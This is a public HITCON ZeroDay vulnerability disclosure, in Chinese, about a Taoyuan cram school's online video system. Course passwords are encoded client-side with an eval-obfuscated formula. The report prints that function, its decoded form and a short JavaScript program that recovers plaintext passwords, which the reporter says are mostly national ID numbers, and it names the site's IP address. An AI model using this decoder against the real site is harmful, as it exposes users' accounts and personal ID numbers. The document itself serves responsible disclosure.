桃園誠功補習班雲端教學影片系統逆向 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00326
  •  發信 Vendor: 桃園誠功補習班
  • Title: 桃園誠功補習班雲端教學影片系統逆向
  • Introduction: 透過逆向 ipw 與 ipw_key 編碼演算法,可完全還原使用者明文密碼

處理狀態

目前狀態

公開
Last Update : 2025/06/20
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2025/04/20 20:19:17 : 新提交 (由 HackDragon 更新此狀態)
  • 2025/04/20 21:53:08 : 新提交 (由 HackDragon 更新此狀態)
  • 2025/04/21 14:41:38 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/05/02 16:18:28 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/05/02 16:18:29 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/05/02 16:18:29 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/20 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-00326
  • 通報者:HackDragon (HackDragon)
  • 風險:嚴重
  • 類型:資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://220.133.27.202/

敘述

因為剛入門資安不太懂所以用gpt查詢後應該是叫做CWE‑327 Use of a Broken or Risky Cryptographic Algorithm

進入網站後開啟f12工具每個課程的div中都存著三個金鑰

圖片

接著再去查看這個function的運作方式

function checkPermitHome(ipw,ipw_key,iTag){
    iipw=''; if(ipw!='') iipw=prompt('請輸入指定密碼 (英數字元,大小寫相異)','');
    if(iipw!=null){
        if(/^[0-9a-zA-Z]+$/.test(iipw)){
            eniipw='';
            for(u=0;u<iipw.length;u++){
                eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])return p}('6=6+(2.1(0)+2.1(0)*4.5(0)-3*4.5(0))+\',\';',7,7,'u|charCodeAt|iipw||ipw_key|charAt|eniipw'.split('|'),0,{}));
            }
            iipw=eniipw;
        } else if(iipw!=''){ alert("密碼必須是英文或數字!");iipw=null;}
        if(iipw==ipw){
            eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])return p}('4=a.b(\';\');5=\'\';9(3=0;3<4.8;3++){7(/^(\\d+)\\.\\d(\\d+)$/.c(4[3]))5+=g.e(6.$1-6.$2-f)}',17,17,'|||i|ics|icstr|RegExp|if|length|for|iTag|split|test||fromCharCode|273|String'.split('|'),0,{}));
            //window.open(icstr,'_top');
            window.open(icstr+"?checkFromHomeIndex",'_top');
        } else if(iipw!=null) alert("密碼錯誤!");
    }
}

可以發現只有使用很基礎的eval混淆,在很多線上工具都可以逆向出來,eval逆向出的結果是

eniipw = eniipw + (iipw.charCodeAt(u) + iipw.charCodeAt(u) * ipw_key.charAt(u) - 3 * ipw_key.charAt(u)) + ',';

稍微判斷一下邏輯後可以寫出這個逆向程式

console.log(reverse('187,238,435,453,453,291,215,153,339,','348885326'))

function reverse(ipw, ipw_key){
    let pass = '';
    const ipwarr = ipw.split(',')

    for(let i = 0; i < ipw_key.length; i++){

        //ipw number = iipw.charCodeAt(u) + iipw.charCodeAt(u) * ipw_key.charAt(u) - 3 * ipw_key.charAt(u)
        // fin = ans + ans * fin2 - 3 * fin2
        // fin = ans(1 + fin2) - 3 * fin2
        // ans(1 + fin2) - 3 * fin2 = fin
        // ans = fin + 3 * fin2 / 1 + fin2

        const nowpass = (parseInt(ipwarr[i]) + 3 * parseInt(ipw_key.charAt(i))) / (1 + parseInt(ipw_key.charAt(i)))
        pass += String.fromCodePoint(nowpass)
    }

    return pass
}

然後就可以拿到密碼

圖片

比較嚴重的是經過查看發現大多數都為使用者的身分證,有個資外洩的隱患

最後如果有類型勾選錯誤的我很抱歉,對資安的熟悉度還沒有很高

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;